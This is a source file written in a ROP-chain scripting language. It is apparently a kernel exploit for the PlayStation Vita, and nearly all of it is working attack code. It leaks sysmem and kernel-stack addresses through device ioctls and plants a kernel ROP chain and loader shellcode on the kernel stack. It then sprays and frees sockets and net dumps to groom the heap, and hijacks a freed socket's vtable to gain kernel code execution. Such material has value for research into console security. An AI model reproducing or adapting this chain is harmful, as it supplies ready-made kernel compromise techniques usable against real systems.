exploit.rop.in

#include "common.rop"

data
{
	#include "functions.rop"

#if !RELEASE
	symbol socket_d = "socket %d \n";
	symbol close_ret = "close ret 0x%x\n";
	symbol create_large = "create large 0x%x 0x%x\n";
#endif

	buffer ioctl[0x400];
	buffer crap[0x100];
	buffer our_data[0x1000];
	variable file_uid = -1;
	variable kernel_stack_base = -1;
	variable sysmem_base;

	<% need_sockets = 80 %>
	symbol need_sockets = <%= need_sockets %>;
	buffer sockets[<%= need_sockets * 4 %>];
	variable free1;
	variable tester;
	variable tmp;
	variable dump_to_free;
	variable another_hole;
	<% need_dumps = 9 %>
	buffer dumps_to_delete[<%= need_dumps * 4 %>];

	variable rop_thread_id; // thread calling vulnerable syscall
	buffer thread_info[0x80];
	buffer device_name[0x10];
	buffer command[0x10];
	buffer command2[0x10];
	buffer open_device_name[0x10];
	symbol stack_size = 0x2000;
	variable stack_base;
	buffer user_ropchain[0x100];
	variable pret;
	buffer ldm_buf[7 * 4];
	buffer mybuf[0x100];
	variable vptr;
	buffer args_buf_first[0x10];
	buffer args_buf_second[0x10];
	buffer kernel_ropchain[0x100];
	buffer krop[0x400];

	variable plant_thread_id;
	variable plant_stack_base;

	symbol stack_shellcode_offset = 0x300;
	symbol sysmem_shellcode_offset = 0x27640;
	symbol stack_rop_offset = 4;
	symbol kstack_offset_to_data = 1784;
	symbol ddd = "ddd";
	variable kx_loader_addr;

	// first binary payload which is small and loads the second payload
	#include "../build/kx_loader.rop"

	// actual second payload
#ifdef OFFLINE
	#include "../build/offline/second_payload.rop"
#else
	#include "../build/second_payload.rop"
#endif
}

code : entry
{
	// PRINTF("started\n");

	strcat(device_name, "sdstor0:");
	strcat(command, "gcd-lp-ign-gamero");
	memset(ioctl, 0, 0x400);
	strcat(open_device_name, "molecule0:");

	sceIoOpen(open_device_name, 0, 0);
	sceIoDevctl(device_name, 5, command, 0x14, ioctl, 0x3FF); // only leak sysmem from this call

	add([ioctl+0x3D4], -0x5747);
	store(&return, sysmem_base);
	PRINTF("sysmem base: 0x%x \n", [sysmem_base]);

	// plant thread leaks kernel stack via devctl and inserts the payload there using another devctl

	sceKernelCreateThread("pln", ldm_r1_stuff, 0x10000100, stack_size, 0, 0, 0);
	store(&return, plant_thread_id);
	PRINTF("plant thread %x \n", [plant_thread_id]);
	store(0x7C, thread_info);
	sceKernelGetThreadInfo([plant_thread_id], thread_info);
	PRINTF("stack %x  \n", [thread_info + 0x34]);
	// some free space for function calls
	add([thread_info + 0x34], 0x1000);
	store(&return, plant_stack_base);

	// can do the define trick because preprocessor runs before erb
	#define NEXT user_ropchain+4*<%=i+=1%>
	#define STORE(addr) store(addr, NEXT)
	// woah, it's a micro roptool inside of our roptool
	#define STORE_CALL(func, a1, a2, a3, a4, last_r4) \
		STORE(pop_r0_to_r5);    \
		STORE(a1);              \
		STORE(a2);              \
		STORE(a3);              \
		STORE(a4);              \
		STORE(func);            \
		STORE(0);               \
		STORE(blx_r4_pop_r4);   \
		STORE(last_r4)
	<% i = -1 %>
	store(0x14, args_buf_first+0);
	store(ioctl, args_buf_first+4);
	store(0x3FF, args_buf_first+8);

	store(0x400, args_buf_second+0);
	store(0, args_buf_second+4);
	store(0, args_buf_second+8);

	// build user ropchain -- for plant thread
	STORE_CALL(sceIoOpen, open_device_name, 0, 0, 0, 0);                       // sceIoOpen to populate kernel stack
	STORE_CALL(sceIoDevctl_svc, device_name, 5, command, args_buf_first, 0);   // first devctl to leak stack/sysmem addr
	//STORE_CALL(sceIoDevctl_svc, device_name, 5, command2, args_buf_first, 0);   // first devctl to leak stack/sysmem addr
	STORE_CALL(sceKernelDelayThread, 1 * 1000 * 1000, 0, 0, 0, 0);             // delay to sync our two threads
	STORE_CALL(sceIoDevctl_svc, device_name, 5, our_data, args_buf_second, 0); // second devctl to plant our data into kmem
	STORE(infloop);

	// copy user ropchain into user stack
	memcpy([plant_stack_base], user_ropchain, 0x100);
	// set up args for LDM user thread stack pivot
	store([plant_stack_base], ldm_buf+5*4);
	store(pop_pc, ldm_buf+6*4);
	sceKernelStartThread([plant_thread_id], 7 * 4, ldm_buf); // it should hang
	PRINTF("start plant rop thre	ad 0x%x\n", &return);
	// plant thread end
	sceKernelDelayThread(100 * 1000); // sleep 0.1s


	add([ioctl+0x3C4], -0xABC);
	store(&return, kernel_stack_base);
	PRINTF("kernel stack: 0x%x (?)\n", [kernel_stack_base]);

	// set up data for kernel
	add([sysmem_base], 0x1e460); // ldm R0, {R4,R10,R12,SP,PC}
	store(&return, our_data); // future function ptr

	// layout: [ ldm_gadget ] [ kernel ropchain .... ] ... [ payload? ]
	// remember: we only have 0x400 bytes, and the less we use the better

	add([kernel_stack_base], kstack_offset_to_data);
	add(&return, stack_shellcode_offset);
	store(&return, kx_loader_addr);

	PRINTF("krop start\n");
	#include "../build/krop.rop"
	PRINTF("krop end\n");
	memcpy(our_data + stack_rop_offset, krop, 0x300);

	// set up shellcode
	memcpy(our_data + stack_shellcode_offset, kx_loader, 0x400);
	PRINTF("shellcode end\n");

	// after the plant thread wakes up, it should copy our_data into kernel stack

	// set up overwritten socket structure
	add([kernel_stack_base], 1756);
	store(&return, mybuf + 6 * 4); // vptr
	add([kernel_stack_base], kstack_offset_to_data);
	add(&return, stack_rop_offset);
	store(&return, mybuf + 3 * 4); // sp
	add([sysmem_base], 0x347); // pop {pc} to kick off the ropchain
	store(&return, mybuf + 4 * 4);
	PRINTF("hacked vtable at 0x%x\n", [mybuf + 0x18]);

	// create and set up rop thread that will call vulnerable syscall
	sceKernelCreateThread("mhm", ldm_r1_stuff, 0x10000100, stack_size, 0, 0, 0);
	store(&return, rop_thread_id);
	PRINTF("thread %x \n", [rop_thread_id]);
	store(0x7C, thread_info);
	sceKernelGetThreadInfo([rop_thread_id], thread_info);
	PRINTF("stack %x  \n", [thread_info + 0x34]);
	// some free space for function calls
	add([thread_info + 0x34], 0x1000);
	store(&return, stack_base);

	// create a lot of sockets
	<% need_sockets.times do |socket_id| %>
	socket("x", 2, 1, 0);
	store(&return, sockets + 4 * <%= socket_id %>);
	// PRINTF(socket_d, [sockets + 4 * <%= socket_id %>]);
	<% end %>

	PRINTF("enough of this\n");

	socket("sss", 2, 1, 0);
	store(&return, free1);
	
	socket("tst", 2, 7, 0);
	store(&return, tester);
	
	PRINTF("tester socket %d\n", [tester]);

	<% i = -1 %>
	// We reuse old macros NEXT/STORE/STORE_CALL here because we're using the same buffer, but reset the `i`

	// build user ropchain
	STORE_CALL(sceNetSyscallIoctl, [tester], 0x10007300, 0, 0, pret); // r4 = pret
	STORE(str_r0_r4_pop_r4);
	STORE(0);
	STORE(infloop);

	// copy user ropchain into user stack
	memcpy([stack_base], user_ropchain, 0x100);
	// set up args for LDM user thread stack pivot
	store([stack_base], ldm_buf+5*4);
	store(pop_pc, ldm_buf+6*4);
	
	socket("tmp", 2, 1, 0);
	store(&return, tmp);

	<% need_dumps.times do |dump_id| %>
	sceNetDumpCreate(ddd, 0xF00, 0);
	store(&return, dumps_to_delete + <%= 4 * dump_id %>);
	<% end %>

	sceNetDumpCreate(ddd, 0xF00, 0);
	store(&return, another_hole);
	
	sceNetDumpCreate(ddd, 0x1000, 0);
	store(&return, dump_to_free);
	
	PRINTF("dump_to_free: 0x%08X\n", [dump_to_free]);	

	PRINTF("now free some stuffs and create holes...  \n");

	// free some memory and create holes
	<% (0..need_dumps-1).step(2) do |dump_id| %>
	sceNetDumpDestroy([dumps_to_delete + <%= 4 * dump_id %>]);
	<% end %>

	sceNetDumpDestroy([another_hole]);

	//                 | decrease this number if things break
	//                 v
	<% (0xD0000).step(0xA0000, -0x100) do |dump_sz| %>
	sceNetDumpCreate(ddd, <%= dump_sz %>, 0);
	// PRINTF(create_large, &return, <%= dump_sz %>);
	<% end %>

	sceNetDumpCreate(ddd, 0x1000, 0);
	PRINTF("another 0x%x\n", &return);

	sceNetDumpCreate(ddd, 0x1000, 0);
	PRINTF("last dump size=0x1000 ret=0x%x (should be=0x8041010c) \n", &return);

	sceKernelStartThread([rop_thread_id], 7 * 4, ldm_buf); // it should hang
	PRINTF("start user rop thread 0x%x\n", &return);

	sceKernelDelayThread(1500*1000);
	// free sockets
	<% (0..need_sockets-1).step(2) do |socket_id| %>
	sceNetSyscallClose([sockets + <%= 4 * socket_id %>]);
	<% end %>

	sceNetSyscallClose([tester]);
	PRINTF("free tester 0x%x\n", &return);
	sceNetSyscallControl(0, 0x30000000, mybuf, 0xFC);
	sceNetDumpDestroy([dump_to_free]);

	sceKernelDelayThread(1*1000*1000);
	PRINTF("user thread reports %d\n", [pret]);

	add([pret], bx_lr); // on success this will remain at 0, on error it will be -22
	call_r0(0); // so we continue user rop when kernel payload triggers and crash otherwise

	// free the dumps now, we need net memory for http stuff in usermode to work!
	<% for dump_id in (0x1770..0x1790) %>
	sceNetDumpDestroy(<%= dump_id %>);
	<% end %>

	infloop();
}